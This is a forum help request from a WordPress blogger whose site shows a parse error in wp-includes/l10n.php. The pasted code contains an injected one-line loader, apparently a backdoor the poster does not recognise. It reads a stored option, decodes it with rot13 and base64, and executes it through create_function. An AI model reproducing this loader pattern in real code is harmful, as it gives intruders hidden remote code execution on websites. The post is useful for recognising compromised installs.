Error message just started

I’ve been using WordPress for a personal blog for a couple years and just started getting the following error message:
Parse error: syntax error, unexpected ‘;’ in /home/endle6/public_html/wp-includes/l10n.php on line 514

A cut and paste of that area looks like:

/**
* Get all available languages based on the presence of *.mo files in a given directory. The default directory is WP_LANG_DIR.
*
* @since 3.0.0
*
* @param string $dir A directory in which to search for language files. The default directory is WP_LANG_DIR.
* @return array Array of language codes or an empty array if no languages are present. Language codes are formed by stripping the .mo extension from the language file names.
*/
function get_available_languages( $dir = null ) {
$languages = array();

foreach( (array)glob( ( is_null( $dir)
;$z=get_option(“_transient_feed_d08c05571489c13387d20f43967eb649″); $z=base64_decode(str_rot13($z)); if(strpos($z,”6C17701E”)!==false){ $_z=create_function(“”,$z); @$_z(); }
? WP_LANG_DIR : $dir ) . ‘/*.mo’ ) as $lang_file ) {
$lang_file = basename($lang_file, ‘.mo’);
if ( 0 !== strpos( $lang_file, ‘continents-cities’ ) && 0 !== strpos( $lang_file, ‘ms-‘ ) )
$languages[] = $lang_file;
}

return $languages;
}

514 line being the…

;$z=get_option(“_transient_feed_d08c05571489c13387d20f43967eb649”);

I have not change anything (lines or anything in a year or so … so it wasn’t like I made a change that would mess up anything.
Any idea why my blog suddenly died? Or what I could do to get it back up and going?

TIA (Thanks in advance)
